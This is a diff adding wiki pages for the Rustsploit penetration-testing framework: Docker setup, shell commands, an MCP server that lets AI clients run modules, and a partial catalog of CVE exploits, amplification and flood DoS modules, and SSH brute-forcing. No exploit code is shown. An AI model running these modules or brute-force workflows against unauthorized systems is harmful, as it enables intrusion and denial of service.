1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom `host:port`).
|
||||
3. Generate or configure PQ identity keys for the API server.
|
||||
4. Toggle hardening mode and tune the IP limit.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api`
|
||||
- `docker/entrypoint.sh`
|
||||
- `.env.rustsploit-docker`
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation.
|
||||
|
||||
### Non-Interactive / CI
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
# PQ identity keys auto-generated on first run
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
To start the stack later:
|
||||
```bash
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privacy / VPN
|
||||
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions.
|
||||
|
||||
We recommend **[Mullvad VPN](https://mullvad.net)**:
|
||||
- No registration — account numbers generated without email or personal data
|
||||
- Proven no-logs policy with audited infrastructure
|
||||
- WireGuard support for high-performance, low-latency tunneling
|
||||
- Excellent Linux CLI for headless setups
|
||||
|
||||
Connect the VPN on your host before running Rustsploit and all traffic routes through the tunnel automatically.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ For authorized security testing and research only. Obtain explicit written permission before targeting any system you do not own.
|
||||
@@ -0,0 +1,39 @@
|
||||
# Rustsploit Wiki
|
||||
|
||||
Welcome to the Rustsploit documentation hub. Use the links below to navigate to the relevant guide.
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**. Always obtain explicit written permission before targeting any system you do not own.
|
||||
|
||||
---
|
||||
|
||||
## 📖 Documentation Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](API-Server.md) | WebSocket API, PQ encryption, endpoints, rate limiting |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](Module-Catalog.md) | All 240 modules by category — 183 exploits, 27 scanners, 29 creds, 1 plugin |
|
||||
| [Module Development](Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for 29 cred modules — mass scan, cfg_prompt_*, concurrency |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for 183 exploit modules — multi-target, cfg_prompt_*, validation |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks (0 errors, 0 warnings), smoke tests, wordlist validation |
|
||||
| [Changelog](Changelog.md) | Release notes and version history (current: v0.4.8) |
|
||||
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
|
||||
| [Future Features](Future-Features.md) | Roadmap and completed features (plugins, metadata, global options, etc.) |
|
||||
| [About Me](About-Me.md) | Information about the author |
|
||||
| [Donation](Donation.md) | Ways to support the project |
|
||||
|
||||
---
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
- **New user?** → Start with [Getting Started](Getting-Started.md)
|
||||
- **Writing a module?** → See [Module Development](Module-Development.md)
|
||||
- **Using the API?** → See [API Server](API-Server.md) + [API Usage Examples](API-Usage-Examples.md)
|
||||
- **Running from CLI?** → See [CLI Reference](CLI-Reference.md)
|
||||
@@ -0,0 +1,220 @@
|
||||
# Interactive Shell
|
||||
|
||||
Rustsploit's shell (`src/shell.rs`) provides an ergonomic command palette with shortcuts, module/target state tracking, and honeypot detection. Launch it with:
|
||||
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Palette
|
||||
|
||||
All commands are **case-insensitive** and support aliases:
|
||||
|
||||
| Command | Shortcuts | Description |
|
||||
|---------|-----------|-------------|
|
||||
| `help` | `h`, `?` | Show command reference |
|
||||
| `modules` | `list`, `ls`, `m` | List all discovered modules |
|
||||
| `find <kw>` | `search`, `f`, `f1` | Search modules by keyword |
|
||||
| `use <path>` | `u <path>` | Select a module |
|
||||
| `info [path]` | `i` | Show module metadata (CVE, author, rank) |
|
||||
| `back` | `b`, `clear`, `reset` | Deselect current module and target |
|
||||
| `set target <val>` | `t <val>` | Set target (IPv4/IPv6/hostname/CIDR) |
|
||||
| `set subnet <CIDR>` | `sn <CIDR>` | Set target to a CIDR subnet |
|
||||
| `show_target` | `st`, `showtarget` | Display current target |
|
||||
| `clear_target` | `ct`, `cleartarget` | Clear target |
|
||||
| `run` | `go`, `exec` | Execute the selected module |
|
||||
| `run -j` | | Run module as background job |
|
||||
| `run_all` | `runall`, `ra` | Run module against all IPs in subnet |
|
||||
| `check` | `ch` | Non-destructive vulnerability check |
|
||||
| `setg <key> <val>` | `sg` | Set a global option (persists across modules) |
|
||||
| `unsetg <key>` | `ug` | Remove a global option |
|
||||
| `show options` | `so` | Display all global options |
|
||||
| `creds` | | List stored credentials |
|
||||
| `creds add` | | Add a credential interactively |
|
||||
| `creds search <q>` | | Search credentials by host/service/user |
|
||||
| `creds delete <id>` | | Delete a credential by ID |
|
||||
| `creds clear` | | Clear all credentials |
|
||||
| `hosts` | | List tracked hosts |
|
||||
| `hosts add <ip>` | | Add a host to workspace |
|
||||
| `services` | `svcs` | List tracked services |
|
||||
| `services add` | | Add a service interactively |
|
||||
| `notes <ip> <text>` | | Add a note to a host |
|
||||
| `workspace [name]` | `ws` | Show or switch workspaces |
|
||||
| `loot` | | List collected loot |
|
||||
| `loot add` | | Add loot interactively |
|
||||
| `loot search <q>` | | Search loot |
|
||||
| `resource <file>` | `rc` | Execute a resource script |
|
||||
| `makerc <file>` | | Save command history to file |
|
||||
| `spool <file>` | | Log console output to file |
|
||||
| `spool off` | | Stop console logging |
|
||||
| `export json <f>` | | Export all data to JSON |
|
||||
| `export csv <f>` | | Export all data to CSV |
|
||||
| `export summary <f>` | | Export human-readable report |
|
||||
| `jobs` | `j` | List background jobs |
|
||||
| `jobs -k <id>` | | Kill a background job |
|
||||
| `jobs clean` | | Clean up finished jobs |
|
||||
| `exit` | `quit`, `q` | Leave the shell |
|
||||
|
||||
---
|
||||
|
||||
## Example Session
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> go
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Chaining
|
||||
|
||||
Execute multiple commands on one line using the `&` separator:
|
||||
|
||||
```text
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
|
||||
|
||||
---
|
||||
|
||||
## Target Normalization
|
||||
|
||||
When you run `set target`, the value is normalized and validated automatically. Supported formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
Security checks (length, control characters, path traversal) are enforced at the framework level.
|
||||
|
||||
### Multi-Target Support
|
||||
|
||||
The framework-level dispatcher handles multiple target types transparently for all modules. You do not need per-module support for these formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| Comma-separated | `t 192.168.1.1, 192.168.1.2, 192.168.1.3` |
|
||||
| CIDR range | `t 192.168.1.0/24` |
|
||||
| File of targets | `t /path/to/targets.txt` |
|
||||
| Random scanning | `t random` or `t 0.0.0.0/0` |
|
||||
|
||||
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
|
||||
|
||||
- Scans **200 common ports** with a 250 ms timeout each.
|
||||
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
|
||||
- Runs automatically on every `run`/`go` invocation.
|
||||
|
||||
Manual call (from module code): `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
---
|
||||
|
||||
## Global Options
|
||||
|
||||
Use `setg` to set options that persist across all module executions. These are checked by `cfg_prompt_*` functions after API custom_prompts but before interactive stdin:
|
||||
|
||||
```text
|
||||
rsf> setg port 8080
|
||||
rsf> setg concurrency 50
|
||||
rsf> show options
|
||||
rsf> unsetg port
|
||||
```
|
||||
|
||||
Global options are saved to `~/.rustsploit/global_options.json` and loaded on startup.
|
||||
|
||||
### Common Global Options
|
||||
|
||||
| Option | Example | Effect |
|
||||
|--------|---------|--------|
|
||||
| `port` | `setg port 443` | Default port for all modules |
|
||||
| `source_port` | `setg source_port 31337` | Outbound source port |
|
||||
| `honeypot_detection` | `setg honeypot_detection n` | Disable honeypot checks before `run` |
|
||||
| `timeout` | `setg timeout 30` | Connection timeout (seconds) |
|
||||
| `concurrency` | `setg concurrency 50` | Default thread count |
|
||||
| `verbose` | `setg verbose y` | Verbose output |
|
||||
| `username_wordlist` | `setg username_wordlist users.txt` | Default username wordlist |
|
||||
| `password_wordlist` | `setg password_wordlist pass.txt` | Default password wordlist |
|
||||
| `stop_on_success` | `setg stop_on_success y` | Stop on first valid credential |
|
||||
| `save_results` | `setg save_results y` | Auto-save results to file |
|
||||
| `combo_mode` | `setg combo_mode y` | Full user x pass combination mode |
|
||||
| Any custom key | `setg my_key value` | Modules read via `cfg_prompt_*` |
|
||||
|
||||
---
|
||||
|
||||
## Resource Scripts
|
||||
|
||||
Automate workflows by writing commands to a file and executing them:
|
||||
|
||||
```text
|
||||
rsf> resource scan_network.rc
|
||||
```
|
||||
|
||||
Script format (one command per line, `#` for comments):
|
||||
```text
|
||||
# scan_network.rc
|
||||
set target 192.168.1.0/24
|
||||
use scanners/port_scanner
|
||||
run
|
||||
```
|
||||
|
||||
Auto-loads `~/.rustsploit/startup.rc` on shell startup if it exists. Use `makerc history.rc` to save your command history.
|
||||
|
||||
---
|
||||
|
||||
## Data Management
|
||||
|
||||
Rustsploit tracks engagement data across sessions:
|
||||
|
||||
- **Credentials** (`creds`): Store discovered credentials with host, port, service, username, and type
|
||||
- **Hosts** (`hosts`): Track discovered hosts with hostname, OS, and notes
|
||||
- **Services** (`services`): Track discovered services per host
|
||||
- **Loot** (`loot`): Store collected evidence (configs, hashes, firmware)
|
||||
- **Workspaces** (`workspace`): Isolate data per engagement
|
||||
|
||||
Export all data with `export json report.json`, `export csv report.csv`, or `export summary report.txt`.
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
Run modules in the background with `run -j`:
|
||||
|
||||
```text
|
||||
rsf> use creds/generic/ssh_bruteforce
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run -j
|
||||
[*] Job 1 started: creds/generic/ssh_bruteforce against 192.168.1.1
|
||||
rsf> jobs
|
||||
rsf> jobs -k 1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Architecture
|
||||
|
||||
Key details from `src/shell.rs`:
|
||||
|
||||
- **`ShellContext`** — stores `current_module`, `current_target`, and `verbose` flag.
|
||||
- **`execute_single_command()`** — the command dispatcher, extracted as a standalone function for resource script support.
|
||||
- **`split_command` / `resolve_command`** — normalize shortcut aliases to canonical keys.
|
||||
- **`render_help()`** — prints the colorized command table.
|
||||
- **Selective persistence** — `global_options.json`, `creds.json`, workspace files, and loot are persisted across sessions in `~/.rustsploit/`. Transient shell state (selected module, current target, verbose flag) is reset on exit.
|
||||
|
||||
Tab completion and command history are powered by `rustyline`.
|
||||
@@ -0,0 +1,222 @@
|
||||
# MCP Integration
|
||||
|
||||
Rustsploit includes a built-in MCP (Model Context Protocol) server that enables integration with Claude Desktop and other MCP-compatible clients. The server communicates via JSON-RPC 2.0 over stdio (stdin/stdout), with no network listener.
|
||||
|
||||
---
|
||||
|
||||
## Starting the MCP Server
|
||||
|
||||
```bash
|
||||
cargo run -- --mcp
|
||||
```
|
||||
|
||||
The server reads one JSON-RPC 2.0 request per line from stdin and writes one response per line to stdout. Diagnostic messages go to stderr.
|
||||
|
||||
---
|
||||
|
||||
## Protocol
|
||||
|
||||
- **Transport**: Newline-delimited JSON over stdio
|
||||
- **Protocol version**: `2024-11-05`
|
||||
- **Capabilities**: `tools`, `resources`
|
||||
- **Server name**: `rustsploit-mcp`
|
||||
|
||||
### Supported JSON-RPC Methods
|
||||
|
||||
| Method | Type | Description |
|
||||
|--------|------|-------------|
|
||||
| `initialize` | Request | Capability negotiation handshake |
|
||||
| `initialized` | Notification | Client acknowledgement (no response) |
|
||||
| `tools/list` | Request | List all available tools |
|
||||
| `tools/call` | Request | Execute a tool by name |
|
||||
| `resources/list` | Request | List all available resources |
|
||||
| `resources/read` | Request | Read a resource by URI |
|
||||
|
||||
---
|
||||
|
||||
## Tools (42)
|
||||
|
||||
### Module Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_modules` | List all available modules, optionally filtered by category | -- |
|
||||
| `search_modules` | Search modules by keyword (case-insensitive substring match) | `query` |
|
||||
| `module_info` | Get metadata for a specific module (name, description, authors, references, rank) | `module_path` |
|
||||
| `check_module` | Run a non-destructive vulnerability check against a target | `module_path`, `target` |
|
||||
|
||||
### Target Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `set_target` | Set the global target (IP, hostname, CIDR, or comma-separated list) | `target` |
|
||||
| `get_target` | Get the current global target, size, and subnet status | -- |
|
||||
| `clear_target` | Clear the global target | -- |
|
||||
|
||||
### Execution
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `run_module` | Execute a module against a target, returning captured output | `module_path`, `target` |
|
||||
|
||||
Optional params for `run_module`: `port` (integer), `verbose` (boolean), `prompts` (object of key-value string overrides).
|
||||
|
||||
### Credential Tools
|
||||
|
||||
Credentials are per-workspace -- each workspace maintains its own credential store at `~/.rustsploit/workspaces/{name}_creds.json`. Switching workspaces via `switch_workspace` loads that workspace's credentials.
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_creds` | List all stored credentials in the current workspace | -- |
|
||||
| `search_creds` | Search credentials by host, service, or username in the current workspace | `query` |
|
||||
| `add_cred` | Add a credential to the current workspace's store | `host`, `username`, `secret` |
|
||||
| `delete_cred` | Delete a credential by its ID from the current workspace | `id` |
|
||||
|
||||
Optional params for `add_cred`: `port` (integer), `service` (string), `cred_type` (password/hash/key/token).
|
||||
|
||||
### Workspace Host and Service Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_hosts` | List all tracked hosts in the current workspace | -- |
|
||||
| `add_host` | Add or update a host in the workspace | `ip` |
|
||||
| `delete_host` | Delete a host (and its services) from the workspace | `ip` |
|
||||
| `list_services` | List all tracked services in the current workspace | -- |
|
||||
| `add_service` | Add or update a service in the workspace | `host`, `port`, `service_name` |
|
||||
| `delete_service` | Delete a service by host and port | `host`, `port` |
|
||||
|
||||
Optional params for `add_host`: `hostname`, `os_guess`. Optional params for `add_service`: `protocol` (default: tcp), `version`.
|
||||
|
||||
### Loot Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_loot` | List all stored loot entries | -- |
|
||||
| `search_loot` | Search loot by host, type, or description | `query` |
|
||||
| `add_loot` | Store a loot entry (text data) | `host`, `loot_type`, `data` |
|
||||
| `delete_loot` | Delete a loot entry by ID | `id` |
|
||||
|
||||
Optional params for `add_loot`: `description`.
|
||||
|
||||
### Global Options Tools
|
||||
|
||||
Options are per-workspace -- they are scoped to the current workspace and stored at `~/.rustsploit/workspaces/{name}_options.json`. Switching workspaces via `switch_workspace` loads that workspace's options.
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_options` | List all persistent global options (setg values) for the current workspace | -- |
|
||||
| `set_option` | Set a persistent global option in the current workspace | `key`, `value` |
|
||||
| `unset_option` | Remove a persistent global option from the current workspace | `key` |
|
||||
|
||||
### Job Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_jobs` | List active background jobs | -- |
|
||||
| `kill_job` | Kill a background job by ID | `id` (integer) |
|
||||
|
||||
### Workspace Management Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_workspaces` | List all available workspaces | -- |
|
||||
| `switch_workspace` | Switch to a different workspace (creates if needed) | `name` |
|
||||
|
||||
### Export
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `export_data` | Export full engagement data as JSON | -- |
|
||||
|
||||
---
|
||||
|
||||
## Resources (7)
|
||||
|
||||
Resources provide read-only access to framework state.
|
||||
|
||||
| URI | Name | Description | MIME Type |
|
||||
|-----|------|-------------|-----------|
|
||||
| `rustsploit:///modules` | Module Catalog | Full module list with `info()` metadata | `application/json` |
|
||||
| `rustsploit:///workspace` | Current Workspace | Tracked hosts and services | `application/json` |
|
||||
| `rustsploit:///credentials` | Credentials | Credential list with secrets redacted | `application/json` |
|
||||
| `rustsploit:///loot` | Loot Catalog | Loot metadata (no file content) | `application/json` |
|
||||
| `rustsploit:///options` | Global Options | Persistent setg key-value pairs | `application/json` |
|
||||
| `rustsploit:///target` | Current Target | Target value, size, and subnet flag | `application/json` |
|
||||
| `rustsploit:///status` | Framework Status | Module count, workspace, host/cred/loot counts | `application/json` |
|
||||
|
||||
---
|
||||
|
||||
## Claude Desktop Configuration
|
||||
|
||||
Add the following to your `claude_desktop_config.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"rustsploit": {
|
||||
"command": "/path/to/rustsploit",
|
||||
"args": ["--mcp"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Replace `/path/to/rustsploit` with the absolute path to your compiled binary (e.g., `target/release/rustsploit`).
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
- **Stdio transport only** -- no network listener, no authentication needed (single-user process)
|
||||
- **Target injection prevention** -- `run_module` strips any `target` key from the `prompts` object to prevent SSRF via prompt injection
|
||||
- **Module validation** -- module paths are verified against the build-time discovered module list before execution
|
||||
- **Credential redaction** -- the `rustsploit:///credentials` resource shows only the first 3 characters of each secret
|
||||
- **No file system writes** -- MCP tools return data inline; no direct file read/write operations are exposed
|
||||
- **Concurrency bounded** -- module execution is limited by the framework's semaphore (CPU count, minimum 4 concurrent)
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
src/mcp/
|
||||
mod.rs -- Module re-exports
|
||||
types.rs -- JSON-RPC 2.0 types, MCP capability structs, Tool/Resource/ToolResult types
|
||||
server.rs -- Stdio event loop, request routing, response serialization
|
||||
tools.rs -- 42 tool definitions and dispatch handlers
|
||||
resources.rs -- 7 resource definitions and read handlers
|
||||
client.rs -- MCP client implementation (for connecting to external MCP servers)
|
||||
```
|
||||
|
||||
### Request Flow
|
||||
|
||||
1. `server.rs` reads a JSON line from stdin
|
||||
2. Parses it as a `JsonRpcRequest`
|
||||
3. Routes by method name: `initialize`, `tools/list`, `tools/call`, `resources/list`, `resources/read`
|
||||
4. Handler extracts typed parameters from `params`
|
||||
5. Calls framework APIs (same functions used by the REST API and interactive shell)
|
||||
6. Returns a `JsonRpcResponse` serialized as a single JSON line on stdout
|
||||
|
||||
---
|
||||
|
||||
## Example Session
|
||||
|
||||
```
|
||||
-> {"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
|
||||
<- {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{},"resources":{}},"serverInfo":{"name":"rustsploit-mcp","version":"0.4.8"}}}
|
||||
|
||||
-> {"jsonrpc":"2.0","method":"initialized","params":{}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
|
||||
<- {"jsonrpc":"2.0","id":2,"result":{"tools":[...]}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"set_target","arguments":{"target":"192.168.1.1"}}}
|
||||
<- {"jsonrpc":"2.0","id":3,"result":{"content":[{"type":"text","text":"Target set to: 192.168.1.1"}]}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":4,"method":"resources/read","params":{"uri":"rustsploit:///status"}}
|
||||
<- {"jsonrpc":"2.0","id":4,"result":{"uri":"rustsploit:///status","mimeType":"application/json","text":"{...}"}}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
> The MCP server uses the same framework internals as the REST API and interactive shell. Module execution, credential storage, workspace tracking, and all other operations produce identical results regardless of the interface used.
|
||||
@@ -0,0 +1,484 @@
|
||||
# Module Catalog
|
||||
|
||||
All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use the shell's `modules` command or `find <keyword>` for the live list. Use `info <module>` to see metadata (CVE, author, rank) if available.
|
||||
|
||||
> **Module categories:** `exploits/`, `scanners/`, `creds/`, `plugins/` -- all auto-discovered at build time. Adding a new subdirectory under `src/modules/` automatically creates a new category.
|
||||
|
||||
**Totals:** 183 exploit modules, 27 scanners, 29 credential modules, 1 plugin.
|
||||
|
||||
---
|
||||
|
||||
## Exploits
|
||||
|
||||
### Bluetooth
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/bluetooth/wpair` | Hijacks Bluetooth accessories via Google Fast Pair protocol flaw allowing unauthorized bonding, account key injection, and audio interception |
|
||||
|
||||
### Cameras
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/cameras/abus/abussecurity_camera_cve202326609variant1` | Abus security camera LFI, RCE, and SSH root access (CVE-2023-26609) |
|
||||
| `exploits/cameras/acti/acm_5611_rce` | Command injection in ACTi ACM-5611 video cameras for RCE |
|
||||
| `exploits/cameras/avtech/cve_2024_7029_avtech_camera` | AVTECH IP camera remote code execution (CVE-2024-7029) |
|
||||
| `exploits/cameras/hikvision/hikvision_rce_cve_2021_36260` | Hikvision IP camera command injection RCE (CVE-2021-36260) |
|
||||
| `exploits/cameras/reolink/reolink_rce_cve_2019_11001` | Reolink camera authenticated OS command injection via TestEmail (CVE-2019-11001) |
|
||||
| `exploits/cameras/uniview/uniview_nvr_pwd_disclosure` | Uniview NVR remote credential extraction and decoding |
|
||||
|
||||
### Cowrie (SSH Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/cowrie/ansi_log_injection` | Injects ANSI/OSC escape sequences into cowrie session logs via unsanitized crontab arguments for terminal-level code execution on replay |
|
||||
| `exploits/cowrie/llm_prompt_injection` | Exploits cowrie LLM mode where attacker commands are concatenated into the system prompt, coercing the LLM to echo real configuration data |
|
||||
| `exploits/cowrie/ssrf_ipv6` | Bypasses cowrie SSRF blocklist via IPv6 addresses (fc00::/7, fe80::/10, ::ffff:0:0/96) and DNS-rebinding TOCTOU |
|
||||
|
||||
### Crypto
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/crypto/geth_dos_cve_2026_22862` | Go-Ethereum ECIES panic DoS via malformed encrypted messages (CVE-2026-22862) |
|
||||
| `exploits/crypto/heartbleed` | OpenSSL Heartbleed memory leak exploitation (CVE-2014-0160) |
|
||||
|
||||
### Dionaea (Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/dionaea/mqtt_underflow` | Malformed MQTT PUBLISH with TopicLength exceeding MessageLength triggers parser desync/UnicodeDecodeError in dionaea |
|
||||
| `exploits/dionaea/mssql_dos` | Crafted TDS7 LOGIN7 packet with misaligned password slice triggers unhandled UnicodeDecodeError in dionaea MSSQL handler |
|
||||
| `exploits/dionaea/mysql_sqli` | MySQL COM_FIELD_LIST with SQLite injection in table name leaks dionaea internal DB schema |
|
||||
| `exploits/dionaea/tftp_crash` | Malformed TFTP RRQ without trailing NUL causes struct.error in dionaea options parser |
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/dos/connection_exhaustion_flood` | FD-bounded TCP connection exhaustion with connect-and-drop |
|
||||
| `exploits/dos/dns_amplification` | Spoofed DNS ANY queries to open resolvers for ~100x amplification |
|
||||
| `exploits/dos/http_flood` | High-speed HTTP GET/POST flood with User-Agent rotation and cache busting |
|
||||
| `exploits/dos/icmp_flood` | Raw ICMP echo request flood with optional source IP spoofing |
|
||||
| `exploits/dos/memcached_amplification` | Spoofed memcached UDP stats requests for ~51,000x amplification |
|
||||
| `exploits/dos/ntp_amplification` | Spoofed NTP MON_GETLIST_1 requests for ~556x amplification |
|
||||
| `exploits/dos/null_syn_exhaustion` | Raw SYN flood with null-byte payloads, IP spoofing, >1M PPS |
|
||||
| `exploits/dos/rudy` | R.U.D.Y. attack: slow POST body drip to exhaust server connection pools |
|
||||
| `exploits/dos/slowloris` | Holds connections open with partial HTTP headers to exhaust connection pool |
|
||||
| `exploits/dos/ssdp_amplification` | Spoofed SSDP M-SEARCH requests for ~30x amplification |
|
||||
| `exploits/dos/syn_ack_flood` | SYN packets to reflectors with spoofed victim source IP for SYN-ACK reflection |
|
||||
| `exploits/dos/tcp_connection_flood` | High-concurrency TCP connection flood with optional RST close and HTTP payload |
|
||||
| `exploits/dos/telnet_iac_flood` | Telnet IAC negotiation flood exploiting unbounded SB/SE parsing and rapid WILL/DO option cycling |
|
||||
| `exploits/dos/udp_flood` | High-speed UDP flood with random, null, and pattern payload modes |
|
||||
|
||||
### Frameworks
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/frameworks/apache_camel/cve_2025_27636_camel_header_injection` | Apache Camel < 4.10.2 HTTP header injection via Simple expression language for OS command execution (CVE-2025-27636) |
|
||||
| `exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650` | Apache Tomcat memory leak via invalid HTTP/2 priority headers (CVE-2025-31650) |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce` | Apache Tomcat deserialization RCE (CVE-2025-24813) |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce` | Apache Tomcat unauthenticated RCE via partial PUT and Java deserialization (CVE-2025-24813) |
|
||||
| `exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794` | Exim ETRN time-based SQL injection with SQLite backend (CVE-2025-26794) |
|
||||
| `exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset` | HTTP/2 Rapid Reset DoS via rapid stream creation and reset (CVE-2023-44487) |
|
||||
| `exploits/frameworks/jenkins/jenkins_2_441_lfi` | Jenkins CLI arbitrary file read via args4j @-expansion (CVE-2024-23897) |
|
||||
| `exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549` | Jenkins CLI args4j file leak via connect-node command error messages |
|
||||
| `exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897` | Jenkins CLI argument injection for arbitrary file read (CVE-2024-23897) |
|
||||
| `exploits/frameworks/mongo/mongobleed` | MongoDB zlib decompression heap memory disclosure (CVE-2025-14847) |
|
||||
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner: alias traversal, CRLF injection, PHP detection, and more |
|
||||
| `exploits/frameworks/php/cve_2024_4577` | PHP CGI argument injection on Windows XAMPP for RCE (CVE-2024-4577) |
|
||||
| `exploits/frameworks/php/cve_2025_51373_php_rce` | PHP CGI on Windows soft hyphen code-page conversion allows argument injection for auto_prepend_file RCE (CVE-2025-51373) |
|
||||
| `exploits/frameworks/wsus/cve_2025_59287_wsus_rce` | Unauthenticated RCE in Windows Server Update Services (CVE-2025-59287) |
|
||||
|
||||
### FTP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ftp/ftp_bounce_test` | FTP bounce attack test via PORT commands to third-party hosts |
|
||||
| `exploits/ftp/pachev_ftp_path_traversal_1_0` | Directory traversal in Pachev FTP Server 1.0 to read files outside FTP root |
|
||||
|
||||
### HoneyTrap (Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/honeytrap/docker_panic` | POST /v1.40/images/create without fromImage causes nil map panic in HoneyTrap Docker emulation — daemon exit |
|
||||
| `exploits/honeytrap/ftp_panic` | Malformed FTP PORT command with insufficient fields causes slice out-of-range panic in HoneyTrap — daemon exit |
|
||||
|
||||
### IPMI
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
